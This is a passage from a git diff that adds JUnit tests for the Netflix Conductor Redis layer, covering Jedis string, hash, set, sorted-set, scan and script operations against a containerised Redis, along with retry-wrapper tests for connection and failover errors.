"bk1".getBytes(StandardCharsets.UTF_8); + byte[] value = "bv1".getBytes(StandardCharsets.UTF_8); + assertEquals("OK", cmd.set(key, value)); + assertArrayEquals(value, cmd.getBytes(key)); + } + + @ParameterizedTest + @MethodSource("implementations") + void setBytesWithParams(JedisCommands cmd) { + byte[] key = "bsp1".getBytes(StandardCharsets.UTF_8); + byte[] value = "bval".getBytes(StandardCharsets.UTF_8); + SetParams params = SetParams.setParams().ex(60); + assertEquals("OK", cmd.set(key, value, params)); + assertArrayEquals(value, cmd.getBytes(key)); + } + + @ParameterizedTest + @MethodSource("implementations") + void setnx(JedisCommands cmd) { + assertEquals(1L, cmd.setnx("nx1", "first")); + assertEquals(0L, cmd.setnx("nx1", "second")); + assertEquals("first", cmd.get("nx1")); + } + + @ParameterizedTest + @MethodSource("implementations") + void incrBy(JedisCommands cmd) { + cmd.set("counter", "10"); + assertEquals(15L, cmd.incrBy("counter", 5)); + assertEquals(10L, cmd.incrBy("counter", -5)); + } + + @ParameterizedTest + @MethodSource("implementations") + void mget(JedisCommands cmd) { + cmd.set("mg1", "a"); + cmd.set("mg2", "b"); + cmd.set("mg3", "c"); + + List result = cmd.mget(new String[] {"mg1", "mg2", "mg3"}); + assertEquals(3, result.size()); + assertTrue(result.contains("a")); + assertTrue(result.contains("b")); + assertTrue(result.contains("c")); + } + + @ParameterizedTest + @MethodSource("implementations") + void msetAndMgetBytes(JedisCommands cmd) { + byte[] k1 = "mbk1".getBytes(StandardCharsets.UTF_8); + byte[] v1 = "mbv1".getBytes(StandardCharsets.UTF_8); + byte[] k2 = "mbk2".getBytes(StandardCharsets.UTF_8); + byte[] v2 = "mbv2".getBytes(StandardCharsets.UTF_8); + + cmd.mset(k1, v1, k2, v2); + + List results = cmd.mgetBytes(k1, k2); + assertEquals(2, results.size()); + } + + // --- Key operations --- + + @ParameterizedTest + @MethodSource("implementations") + void existsAndDel(JedisCommands cmd) { + assertFalse(cmd.exists("ex1")); + cmd.set("ex1", "val"); + assertTrue(cmd.exists("ex1")); + assertEquals(1L, cmd.del("ex1")); + assertFalse(cmd.exists("ex1")); + } + + @ParameterizedTest + @MethodSource("implementations") + void expireAndTtl(JedisCommands cmd) { + cmd.set("ttl1", "val"); + assertEquals(-1L, cmd.ttl("ttl1")); // no expiry + cmd.expire("ttl1", 100); + long ttl = cmd.ttl("ttl1"); + assertTrue(ttl > 0 && ttl <= 100); + } + + @ParameterizedTest + @MethodSource("implementations") + void persist(JedisCommands cmd) { + cmd.set("p1", "val"); + cmd.expire("p1", 100); + assertTrue(cmd.ttl("p1") > 0); + cmd.persist("p1"); + assertEquals(-1L, cmd.ttl("p1")); + } + + // --- Hash operations --- + + @ParameterizedTest + @MethodSource("implementations") + void hsetAndHget(JedisCommands cmd) { + cmd.hset("h1", "f1", "v1"); + assertEquals("v1", cmd.hget("h1", "f1")); + assertNull(cmd.hget("h1", "missing")); + } + + @ParameterizedTest + @MethodSource("implementations") + void hsetMap(JedisCommands cmd) { + Map hash = new HashMap<>(); + hash.put("a", "1"); + hash.put("b", "2"); + hash.put("c", "3"); + cmd.hset("hm1", hash); + assertEquals("1", cmd.hget("hm1", "a")); + assertEquals("2", cmd.hget("hm1", "b")); + assertEquals("3", cmd.hget("hm1", "c")); + assertEquals(3L, cmd.hlen("hm1")); + } + + @ParameterizedTest + @MethodSource("implementations") + void hsetnx(JedisCommands cmd) { + assertEquals(1L, cmd.hsetnx("hn1", "f1", "first")); + assertEquals(0L, cmd.hsetnx("hn1", "f1", "second")); + assertEquals("first", cmd.hget("hn1", "f1")); + } + + @ParameterizedTest + @MethodSource("implementations") + void hincrBy(JedisCommands cmd) { + cmd.hset("hi1", "count", "10"); + assertEquals(13L, cmd.hincrBy("hi1", "count", 3)); + } + + @ParameterizedTest + @MethodSource("implementations") + void hexistsAndHdel(JedisCommands cmd) { + cmd.hset("hd1", "f1", "v1"); + assertTrue(cmd.hexists("hd1", "f1")); + assertEquals(1L, cmd.hdel("hd1", "f1")); + assertFalse(cmd.hexists("hd1", "f1")); + } + + @ParameterizedTest + @MethodSource("implementations") + void hvals(JedisCommands cmd) { + cmd.hset("hv1", "a", "1"); + cmd.hset("hv1", "b", "2"); + List vals = cmd.hvals("hv1"); + assertEquals(2, vals.size()); + assertTrue(vals.contains("1")); + assertTrue(vals.contains("2")); + } + + @ParameterizedTest + @MethodSource("implementations") + void hscan(JedisCommands cmd) { + for (int i = 0; i < 100; i++) { + cmd.hset("hs1", "field-" + i, "value-" + i); + } + Map all = new HashMap<>(); + String cursor = "0"; + do { + ScanResult> result = cmd.hscan("hs1", cursor); + cursor = result.getCursor(); + for (Map.Entry e : result.getResult()) { + all.put(e.getKey(), e.getValue()); + } + } while (!"0".equals(cursor)); + + assertEquals(100, all.size()); + } + + @ParameterizedTest + @MethodSource("implementations") + void hscanWithParams(JedisCommands cmd) { + for (int i = 0; i < 50; i++) { + cmd.hset("hsp1", "match-" + i, "v" + i); + cmd.hset("hsp1", "other-" + i, "x" + i); + } + Map matched = new HashMap<>(); + String cursor = "0"; + ScanParams params = new ScanParams().match("match-*").count(100); + do { + ScanResult> result = cmd.hscan("hsp1", cursor, params); + cursor = result.getCursor(); + for (Map.Entry e : result.getResult()) { + matched.put(e.getKey(), e.getValue()); + } + } while (!"0".equals(cursor)); + + assertEquals(50, matched.size()); + for (String key : matched.keySet()) { + assertTrue(key.startsWith("match-")); + } + } + + // --- Set operations --- + + @ParameterizedTest + @MethodSource("implementations") + void saddAndSmembers(JedisCommands cmd) { + cmd.sadd("s1", "a", "b", "c"); + Set members = cmd.smembers("s1"); + assertEquals(Set.of("a", "b", "c"), members); + assertEquals(3L, cmd.scard("s1")); + } + + @ParameterizedTest + @MethodSource("implementations") + void sremAndSismember(JedisCommands cmd) { + cmd.sadd("sr1", "a", "b", "c"); + assertTrue(cmd.sismember("sr1", "b")); + cmd.srem("sr1", "b"); + assertFalse(cmd.sismember("sr1", "b")); + assertEquals(2L, cmd.scard("sr1")); + } + + @ParameterizedTest + @MethodSource("implementations") + void sscan(JedisCommands cmd) { + for (int i = 0; i < 200; i++) { + cmd.sadd("ss1", "member-" + i); + } + Set all = new java.util.HashSet<>(); + String cursor = "0"; + do { + ScanResult result = cmd.sscan("ss1", cursor); + cursor = result.getCursor(); + all.addAll(result.getResult()); + } while (!"0".equals(cursor)); + + assertEquals(200, all.size()); + } + + @ParameterizedTest + @MethodSource("implementations") + void sscanWithParams(JedisCommands cmd) { + for (int i = 0; i < 100; i++) { + cmd.sadd("ssp1", "member-" + i); + } + Set all = new java.util.HashSet<>(); + String cursor = "0"; + ScanParams params = new ScanParams().count(10); + do { + ScanResult result = cmd.sscan("ssp1", cursor, params); + cursor = result.getCursor(); + all.addAll(result.getResult()); + } while (!"0".equals(cursor)); + + assertEquals(100, all.size()); + } + + // --- Sorted set operations --- + + @ParameterizedTest + @MethodSource("implementations") + void zaddAndZrange(JedisCommands cmd) { + cmd.zadd("z1", 1.0, "a"); + cmd.zadd("z1", 2.0, "b"); + cmd.zadd("z1", 3.0, "c"); + + List range = cmd.zrange("z1", 0, -1); + assertEquals(List.of("a", "b", "c"), range); + assertEquals(3L, cmd.zcard("z1")); + } + + @ParameterizedTest + @MethodSource("implementations") + void zaddMap(JedisCommands cmd) { + Map scores = new HashMap<>(); + scores.put("x", 10.0); + scores.put("y", 20.0); + scores.put("z", 30.0); + cmd.zadd("zm1", scores); + + assertEquals(3L, cmd.zcard("zm1")); + assertEquals(10.0, cmd.zscore("zm1", "x")); + assertEquals(20.0, cmd.zscore("zm1", "y")); + } + + @ParameterizedTest + @MethodSource("implementations") + void zaddWithParams(JedisCommands cmd) { + cmd.zadd("zp1", 1.0, "a"); + // NX: only add, don't update + ZAddParams nxParams = ZAddParams.zAddParams().nx(); + cmd.zadd("zp1", 99.0, "a", nxParams); + assertEquals(1.0, cmd.zscore("zp1", "a")); // unchanged + } + + @ParameterizedTest + @MethodSource("implementations") + void zrangeByScore(JedisCommands cmd) { + cmd.zadd("zs1", 1.0, "a"); + cmd.zadd("zs1", 2.0, "b"); + cmd.zadd("zs1", 3.0, "c"); + cmd.zadd("zs1", 4.0, "d"); + cmd.zadd("zs1", 5.0, "e"); + + List result = cmd.zrangeByScore("zs1", 2.0, 4.0); + assertEquals(List.of("b", "c", "d"), result); + + List paged = cmd.zrangeByScore("zs1", 1.0, 5.0, 1, 2); + assertEquals(List.of("b", "c"), paged); + } + + @ParameterizedTest + @MethodSource("implementations") + void zrangeWithScores(JedisCommands cmd) { + cmd.zadd("zws1", 1.5, "a"); + cmd.zadd("zws1", 2.5, "b"); + + List tuples = cmd.zrangeWithScores("zws1", 0, -1); + assertEquals(2, tuples.size()); + assertEquals("a", tuples.get(0).getElement()); + assertEquals(1.5, tuples.get(0).getScore()); + } + + @ParameterizedTest + @MethodSource("implementations") + void zrangeByScoreWithScores(JedisCommands cmd) { + cmd.zadd("zbsws1", 1.0, "a"); + cmd.zadd("zbsws1", 2.0, "b"); + cmd.zadd("zbsws1", 3.0, "c"); + + List tuples = cmd.zrangeByScoreWithScores("zbsws1", 1.5, 3.0); + assertEquals(2, tuples.size()); + assertEquals("b", tuples.get(0).getElement()); + assertEquals("c", tuples.get(1).getElement()); + } + + @ParameterizedTest + @MethodSource("implementations") + void zrem(JedisCommands cmd) { + cmd.zadd("zr1", 1.0, "a"); + cmd.zadd("zr1", 2.0, "b"); + cmd.zadd("zr1", 3.0, "c"); + + assertEquals(2L, cmd.zrem("zr1", "a", "c")); + assertEquals(1L, cmd.zcard("zr1")); + assertEquals(List.of("b"), cmd.zrange("zr1", 0, -1)); + } + + @ParameterizedTest + @MethodSource("implementations") + void zcountAndZscore(JedisCommands cmd) { + cmd.zadd("zc1", 1.0, "a"); + cmd.zadd("zc1", 2.0, "b"); + cmd.zadd("zc1", 3.0, "c"); + cmd.zadd("zc1", 4.0, "d"); + + assertEquals(2L, cmd.zcount("zc1", 2.0, 3.0)); + assertEquals(3.0, cmd.zscore("zc1", "c")); + assertNull(cmd.zscore("zc1", "missing")); + } + + @ParameterizedTest + @MethodSource("implementations") + void zremrangeByScore(JedisCommands cmd) { + cmd.zadd("zrr1", 1.0, "a"); + cmd.zadd("zrr1", 2.0, "b"); + cmd.zadd("zrr1", 3.0, "c"); + cmd.zadd("zrr1", 4.0, "d"); + + assertEquals(2L, cmd.zremrangeByScore("zrr1", "2", "3")); + assertEquals(2L, cmd.zcard("zrr1")); + } + + @ParameterizedTest + @MethodSource("implementations") + void zscan(JedisCommands cmd) { + for (int i = 0; i < 100; i++) { + cmd.zadd("zsc1", i, "m-" + i); + } + Set all = new java.util.HashSet<>(); + String cursor = "0"; + do { + ScanResult result = cmd.zscan("zsc1", cursor); + cursor = result.getCursor(); + for (Tuple t : result.getResult()) { + all.add(t.getElement()); + } + } while (!"0".equals(cursor)); + + assertEquals(100, all.size()); + } + + // --- SCAN --- + + @ParameterizedTest + @MethodSource("implementations") + void scan(JedisCommands cmd) { + for (int i = 0; i < 50; i++) { + cmd.set("scan-prefix:" + i, "v" + i); + } + // Also set some keys that shouldn't match + for (int i = 0; i < 20; i++) { + cmd.set("other:" + i, "x" + i); + } + + Set found = new java.util.HashSet<>(); + String cursor = "0"; + do { + ScanResult result = cmd.scan("scan-prefix:*", cursor, 100); + cursor = result.getCursor(); + found.addAll(result.getResult()); + } while (!"0".equals(cursor)); + + assertEquals(50, found.size()); + for (String key : found) { + assertTrue(key.startsWith("scan-prefix:")); + } + } + + // --- Script / Info / Ping --- + + @ParameterizedTest + @MethodSource("implementations") + void ping(JedisCommands cmd) { + assertEquals("PONG", cmd.ping()); + } + + @ParameterizedTest + @MethodSource("implementations") + void info(JedisCommands cmd) { + String info = cmd.info("server"); + assertNotNull(info); + assertTrue(info.contains("redis_version")); + } + + @ParameterizedTest + @MethodSource("implementations") + void evalsha(JedisCommands cmd) { + // Load a simple script that returns the value of a key + byte[] script = "return redis.call('get', KEYS[1])".getBytes(StandardCharsets.UTF_8); + byte[] sampleKey = "evaltest".getBytes(StandardCharsets.UTF_8); + byte[] sha = cmd.scriptLoad(script, sampleKey); + assertNotNull(sha); + + cmd.set("evaltest", "hello"); + Object result = + cmd.evalsha( + new String(sha, StandardCharsets.UTF_8), List.of("evaltest"), List.of()); + assertEquals("hello", result); + } +} diff --git a/redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/JedisProxyIntegrationTest.java b/redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/JedisProxyIntegrationTest.java new file mode 100644 index 0000000..20c3b2c --- /dev/null +++ b/redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/JedisProxyIntegrationTest.java @@ -0,0 +1,490 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.jedis; + +import java.nio.charset.StandardCharsets; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.Set; + +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.TestInstance; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.utility.DockerImageName; + +import redis.clients.jedis.Jedis; +import redis.clients.jedis.JedisPool; +import redis.clients.jedis.JedisPoolConfig; +import redis.clients.jedis.resps.Tuple; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * Integration tests for {@link JedisProxy} — validates scan-loop methods, convenience wrappers, and + * byte-level operations against a real Redis. + */ +@TestInstance(TestInstance.Lifecycle.PER_CLASS) +public class JedisProxyIntegrationTest { + + private static final GenericContainer redis = + new GenericContainer<>(DockerImageName.parse("redis:6.2.6-alpine")) + .withExposedPorts(6379); + + private JedisPool jedisPool; + private JedisProxy proxy; + + @BeforeAll + void setUp() { + redis.start(); + + JedisPoolConfig config = new JedisPoolConfig(); + config.setMinIdle(2); + config.setMaxTotal(10); + jedisPool = new JedisPool(config, redis.getHost(), redis.getFirstMappedPort()); + proxy = new JedisProxy(new JedisStandalone(jedisPool)); + } + + @BeforeEach + void flushDb() { + try (Jedis jedis = jedisPool.getResource()) { + jedis.flushAll(); + } + } + + // --- String operations --- + + @Test + void setAndGet() { + proxy.set("k1", "v1"); + assertEquals("v1", proxy.get("k1")); + } + + @Test + void setWithExpiry() { + proxy.setWithExpiry("ex1", "val", 60); + assertEquals("val", proxy.get("ex1")); + long ttl = proxy.ttl("ex1"); + assertTrue(ttl > 0 && ttl <= 60); + } + + @Test + void setWithExpiryBytes() { + byte[] value = "byteVal".getBytes(StandardCharsets.UTF_8); + proxy.setWithExpiry("exb1", value, 60); + byte[] result = proxy.getBytes("exb1"); + assertArrayEquals(value, result); + } + + @Test + void setWithExpiryInMilliIfNotExists() { + assertEquals("OK", proxy.setWithExpiryInMilliIfNotExists("nxm1", "first", 60000)); + assertNull(proxy.setWithExpiryInMilliIfNotExists("nxm1", "second", 60000)); + assertEquals("first", proxy.get("nxm1")); + } + + @Test + void setWithExpiryInMilliIfNotExists_bytes() { + byte[] v1 = "first".getBytes(StandardCharsets.UTF_8); + byte[] v2 = "second".getBytes(StandardCharsets.UTF_8); + assertEquals("OK", proxy.setWithExpiryInMilliIfNotExists("nxmb1", v1, 60000)); + assertNull(proxy.setWithExpiryInMilliIfNotExists("nxmb1", v2, 60000)); + assertArrayEquals(v1, proxy.getBytes("nxmb1")); + } + + @Test + void setnx() { + assertEquals(1L, proxy.setnx("snx1", "first")); + assertEquals(0L, proxy.setnx("snx1", "second")); + assertEquals("first", proxy.get("snx1")); + } + + @Test + void increment() { + proxy.set("ctr", "10"); + proxy.increment("ctr", 5); + assertEquals("15", proxy.get("ctr")); + } + + @Test + void setAndGetBytesViaStringKey() { + byte[] value = new byte[] {1, 2, 3, 4, 5}; + proxy.set("bytes1", value); + assertArrayEquals(value, proxy.getBytes("bytes1")); + } + + @Test + void msetAndMget() { + Map keyValues = new HashMap<>(); + for (int i = 0; i < 100; i++) { + keyValues.put( + ("mk" + i).getBytes(StandardCharsets.UTF_8), + ("mv" + i).getBytes(StandardCharsets.UTF_8)); + } + proxy.mset(keyValues); + + byte[][] keys = keyValues.keySet().toArray(new byte[0][]); + List results = proxy.mget(keys); + assertEquals(100, results.size()); + } + + @Test + void mgetStrings() { + proxy.set("ms1", "a"); + proxy.set("ms2", "b"); + proxy.set("ms3", "c"); + + List results = proxy.mget("ms1", "ms2", "ms3"); + assertEquals(3, results.size()); + assertTrue(results.contains("a")); + assertTrue(results.contains("b")); + assertTrue(results.contains("c")); + } + + @Test + void mgetSingleKey() { + proxy.set("single1", "val"); + assertEquals("val", proxy.mget("single1")); + } + + // --- Key operations --- + + @Test + void existsAndDel() { + assertFalse(proxy.exists("ex1")); + proxy.set("ex1", "val"); + assertTrue(proxy.exists("ex1")); + proxy.del("ex1"); + assertFalse(proxy.exists("ex1")); + } + + @Test + void expireAndPersist() { + proxy.set("ep1", "val"); + proxy.expire("ep1", 100); + assertTrue(proxy.ttl("ep1") > 0); + proxy.persist("ep1"); + assertEquals(-1L, proxy.ttl("ep1")); + } + + // --- Hash operations --- + + @Test + void hsetAndHget() { + proxy.hset("h1", "f1", "v1"); + assertEquals("v1", proxy.hget("h1", "f1")); + } + + @Test + void hsetMap() { + Map fields = new HashMap<>(); + fields.put("a", "1"); + fields.put("b", "2"); + fields.put("c", "3"); + proxy.hset("hm1", fields); + assertEquals("1", proxy.hget("hm1", "a")); + assertEquals(3L, proxy.hlen("hm1")); + } + + @Test + void optionalHget() { + proxy.hset("oh1", "f1", "val"); + assertEquals(Optional.of("val"), proxy.optionalHget("oh1", "f1")); + assertEquals(Optional.empty(), proxy.optionalHget("oh1", "missing")); + } + + @Test + void hsetnx() { + assertEquals(1L, proxy.hsetnx("hn1", "f1", "first")); + assertEquals(0L, proxy.hsetnx("hn1", "f1", "second")); + assertEquals("first", proxy.hget("hn1", "f1")); + } + + @Test + void hincrBy() { + proxy.hset("hi1", "count", "10"); + assertEquals(15L, proxy.hincrBy("hi1", "count", 5)); + } + + @Test + void hexistsAndHdel() { + proxy.hset("hd1", "f1", "v1"); + assertTrue(proxy.hexists("hd1", "f1")); + proxy.hdel("hd1", "f1"); + assertFalse(proxy.hexists("hd1", "f1")); + } + + @Test + void hvals() { + proxy.hset("hv1", "a", "1"); + proxy.hset("hv1", "b", "2"); + List vals = proxy.hvals("hv1"); + assertEquals(2, vals.size()); + assertTrue(vals.contains("1")); + assertTrue(vals.contains("2")); + } + + // --- Hash scan-loop methods --- + + @Test + void hgetAll_scansEntireHash() { + int fieldCount = 1000; + for (int i = 0; i < fieldCount; i++) { + proxy.hset("hall1", "field-" + i, "value-" + i); + } + + Map all = proxy.hgetAll("hall1"); + assertEquals(fieldCount, all.size()); + for (int i = 0; i < fieldCount; i++) { + assertEquals("value-" + i, all.get("field-" + i)); + } + } + + @Test + void hgetAll_withFieldMatch() { + for (int i = 0; i < 500; i++) { + proxy.hset("hallm1", "match-" + i, "v" + i); + proxy.hset("hallm1", "other-" + i, "x" + i); + } + + Map matched = proxy.hgetAll("hallm1", "match-*"); + assertEquals(500, matched.size()); + for (String key : matched.keySet()) { + assertTrue(key.startsWith("match-")); + } + } + + @Test + void hgetAll_emptyHash() { + Map result = proxy.hgetAll("nonexistent-hash"); + assertTrue(result.isEmpty()); + } + + @Test + void hscan_withCountLimit() { + for (int i = 0; i < 200; i++) { + proxy.hset("hsc1", "f" + i, "v" + i); + } + // hscan with count=50 should return at most ~50 entries + Map partial = proxy.hscan("hsc1", 50); + assertTrue(partial.size() >= 50); + assertTrue(partial.size() <= 200); + } + + @Test + void hkeys_scansAllKeys() { + int fieldCount = 500; + for (int i = 0; i < fieldCount; i++) { + proxy.hset("hk1", "key-" + i, "val-" + i); + } + + Set keys = proxy.hkeys("hk1"); + assertEquals(fieldCount, keys.size()); + for (int i = 0; i < fieldCount; i++) { + assertTrue(keys.contains("key-" + i)); + } + } + + // --- Set operations --- + + @Test + void saddAndSmembers() { + proxy.sadd("s1", "a"); + proxy.sadd("s1", "b", "c"); + // smembers uses SSCAN internally + Set members = proxy.smembers("s1"); + assertEquals(Set.of("a", "b", "c"), members); + } + + @Test + void smembers_largeSet() { + int size = 2000; + for (int i = 0; i < size; i++) { + proxy.sadd("sl1", "member-" + i); + } + Set members = proxy.smembers("sl1"); + assertEquals(size, members.size()); + } + + @Test + void smembers2() { + proxy.sadd("s2m", "x", "y", "z"); + Set members = proxy.smembers2("s2m"); + assertEquals(Set.of("x", "y", "z"), members); + } + + @Test + void sremAndSismember() { + proxy.sadd("sr1", "a", "b", "c"); + assertTrue(proxy.sismember("sr1", "b")); + proxy.srem("sr1", "b"); + assertFalse(proxy.sismember("sr1", "b")); + } + + @Test + void sremMultiple() { + proxy.sadd("srm1", "a", "b", "c", "d"); + proxy.srem("srm1", "a", "b"); + assertEquals(2L, proxy.scard("srm1")); + } + + // --- Sorted set operations --- + + @Test + void zaddAndZrange() { + proxy.zadd("z1", 1.0, "a"); + proxy.zadd("z1", 2.0, "b"); + proxy.zadd("z1", 3.0, "c"); + + List range = proxy.zrange("z1", 0, -1); + assertEquals(List.of("a", "b", "c"), range); + } + + @Test + void zaddnx() { + proxy.zadd("znx1", 1.0, "a"); + proxy.zaddnx("znx1", 99.0, "a"); // should not update + List tuples = proxy.zrangeWithScores("znx1", 0, -1); + assertEquals(1.0, tuples.get(0).getScore()); + } + + @Test + void zrangeByScore_withCount() { + for (int i = 0; i < 100; i++) { + proxy.zadd("zbs1", i, "m-" + String.format("%03d", i)); + } + + List top10 = proxy.zrangeByScore("zbs1", 50.0, 10); + assertEquals(10, top10.size()); + + List range = proxy.zrangeByScore("zbs1", 20.0, 30.0, 5); + assertEquals(5, range.size()); + } + + @Test + void zrangeByScoreWithScores() { + proxy.zadd("zbsws1", 1.0, "a"); + proxy.zadd("zbsws1", 2.0, "b"); + proxy.zadd("zbsws1", 3.0, "c"); + + List tuples = proxy.zrangeByScoreWithScores("zbsws1", 1.5, 3.0); + assertEquals(2, tuples.size()); + } + + @Test + void zremAndZremrangeByScore() { + proxy.zadd("zr1", 1.0, "a"); + proxy.zadd("zr1", 2.0, "b"); + proxy.zadd("zr1", 3.0, "c"); + + proxy.zrem("zr1", "b"); + assertEquals(2L, proxy.zcard("zr1")); + + proxy.zadd("zrr1", 1.0, "a"); + proxy.zadd("zrr1", 2.0, "b"); + proxy.zadd("zrr1", 3.0, "c"); + assertEquals(2L, proxy.zremrangeByScore("zrr1", "1", "2")); + } + + @Test + void zcount() { + proxy.zadd("zc1", 1.0, "a"); + proxy.zadd("zc1", 2.0, "b"); + proxy.zadd("zc1", 3.0, "c"); + assertEquals(2L, proxy.zcount("zc1", 1.5, 3.0)); + } + + @Test + void zscan() { + for (int i = 0; i < 100; i++) { + proxy.zadd("zsc1", i, "m-" + i); + } + Set all = new HashSet<>(); + var result = proxy.zscan("zsc1", 0); + for (Tuple t : result.getResult()) { + all.add(t.getElement()); + } + assertFalse(all.isEmpty()); + } + + // --- SCAN / findAll --- + + @Test + void scan_findsByPrefix() { + for (int i = 0; i < 50; i++) { + proxy.set("scanp:" + i, "v" + i); + } + for (int i = 0; i < 30; i++) { + proxy.set("noise:" + i, "x" + i); + } + + List found = proxy.scan("scanp:*", "0", 100); + for (String key : found) { + assertTrue(key.startsWith("scanp:")); + } + } + + @Test + void findAll_scansEntireKeyspace() { + int keyCount = 500; + for (int i = 0; i < keyCount; i++) { + proxy.set("findall:" + i, "v" + i); + } + // Add noise + for (int i = 0; i < 50; i++) { + proxy.set("other:" + i, "x" + i); + } + + List found = proxy.findAll("findall:*"); + assertEquals(keyCount, found.size()); + for (String key : found) { + assertTrue(key.startsWith("findall:")); + } + } + + @Test + void findAll_emptyResult() { + List found = proxy.findAll("nonexistent-prefix:*"); + assertTrue(found.isEmpty()); + } + + // --- Script / Info / Ping --- + + @Test + void evalsha() { + byte[] script = "return redis.call('get', KEYS[1])".getBytes(StandardCharsets.UTF_8); + byte[] sampleKey = "eval1".getBytes(StandardCharsets.UTF_8); + byte[] sha = proxy.scriptLoad(script, sampleKey); + + proxy.set("eval1", "hello"); + Object result = + proxy.evalsha(new String(sha, StandardCharsets.UTF_8), List.of("eval1"), List.of()); + assertEquals("hello", result); + } + + @Test + void ping() { + assertEquals("PONG", proxy.ping()); + } + + @Test + void info() { + String info = proxy.info("server"); + assertNotNull(info); + assertTrue(info.contains("redis_version")); + } +} diff --git a/redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/RetryingJedisCommandsTest.java b/redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/RetryingJedisCommandsTest.java new file mode 100644 index 0000000..fcd77ad --- /dev/null +++ b/redis-configuration/src/test/java/com/netflix/conductor/redis/jedis/RetryingJedisCommandsTest.java @@ -0,0 +1,157 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.jedis; + +import java.lang.reflect.Proxy; +import java.util.List; +import java.util.Map; +import java.util.concurrent.atomic.AtomicInteger; + +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.redis.config.RedisProperties; + +import redis.clients.jedis.exceptions.JedisConnectionException; +import redis.clients.jedis.exceptions.JedisDataException; + +import static org.junit.jupiter.api.Assertions.*; + +class RetryingJedisCommandsTest { + + @Test + void wrapReturnsDelegateWhenRetriesDisabled() { + JedisCommands delegate = delegate(Map.of("get", args -> "value")); + + JedisCommands wrapped = RetryingJedisCommands.wrap(delegate, redisProperties(0)); + + assertSame(delegate, wrapped); + } + + @Test + void retriesConnectionExceptionUntilSuccess() { + AtomicInteger attempts = new AtomicInteger(); + JedisCommands delegate = + delegate( + Map.of( + "get", + args -> { + if (attempts.getAndIncrement() == 0) { + throw new JedisConnectionException("socket closed"); + } + return "value"; + })); + + JedisCommands wrapped = RetryingJedisCommands.wrap(delegate, redisProperties(1)); + + assertEquals("value", wrapped.get("key")); + assertEquals(2, attempts.get()); + } + + @Test + void retriesFailoverDataExceptionUntilSuccess() { + AtomicInteger attempts = new AtomicInteger(); + JedisCommands delegate = + delegate( + Map.of( + "set", + args -> { + if (attempts.getAndIncrement() == 0) { + throw new JedisDataException( + "READONLY You can't write against a read only replica."); + } + return "OK"; + })); + + JedisCommands wrapped = RetryingJedisCommands.wrap(delegate, redisProperties(1)); + + assertEquals("OK", wrapped.set("key", "value")); + assertEquals(2, attempts.get()); + } + + @Test + void doesNotRetryNonRetryableDataException() { + AtomicInteger attempts = new AtomicInteger(); + JedisCommands delegate = + delegate( + Map.of( + "get", + args -> { + attempts.incrementAndGet(); + throw new JedisDataException( + "WRONGTYPE Operation against a key holding the wrong kind of value"); + })); + + JedisCommands wrapped = RetryingJedisCommands.wrap(delegate, redisProperties(3)); + + JedisDataException exception = + assertThrows(JedisDataException.class, () -> wrapped.get("key")); + assertTrue(exception.getMessage().contains("WRONGTYPE")); + assertEquals(1, attempts.get()); + } + + @Test + void retriesEvalshaPath() { + AtomicInteger attempts = new AtomicInteger(); + JedisCommands delegate = + delegate( + Map.of( + "evalsha", + args -> { + if (attempts.getAndIncrement() == 0) { + throw new JedisConnectionException("failover in progress"); + } + return List.of("message-1"); + })); + + JedisCommands wrapped = RetryingJedisCommands.wrap(delegate, redisProperties(1)); + + assertEquals( + List.of("message-1"), + wrapped.evalsha("sha1", List.of("queue"), List.of("1", "2", "3"))); + assertEquals(2, attempts.get()); + } + + private static RedisProperties redisProperties(int maxRetryAttempts) { + RedisProperties redisProperties = new RedisProperties(new ConductorProperties()); + redisProperties.setMaxRetryAttempts(maxRetryAttempts); + return redisProperties; + } + + private static JedisCommands delegate(Map methods) { + return (JedisCommands) + Proxy.newProxyInstance( + JedisCommands.class.getClassLoader(), + new Class[] {JedisCommands.class}, + (proxy, method, args) -> { + if (method.getDeclaringClass() == Object.class) { + return switch (method.getName()) { + case "toString" -> "RetryingJedisCommandsTestDelegate"; + case "hashCode" -> System.identityHashCode(proxy); + case "equals" -> proxy == args[0]; + default -> null; + }; + } + Invocation invocation = methods.get(method.getName()); + if (invocation == null) { + throw new UnsupportedOperationException(method.getName()); + } + return invocation.invoke(args); + }); + } + + @FunctionalInterface + private interface Invocation { + Object invoke(Object[] args) throws Throwable; + } +} diff --git a/redis-configuration/src/test/java/com/netflix/conductor/redis/testutil/FixedPortContainer.java b/redis-configuration/src/test/java/com/netflix/conductor/redis/testutil/FixedPortContainer.java new file mode 100644 index 0000000..202eead --- /dev/null +++ b/redis-configuration/src/test/java/com/netflix/conductor/redis/testutil/FixedPortContainer.java @@ -0,0 +1,29 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

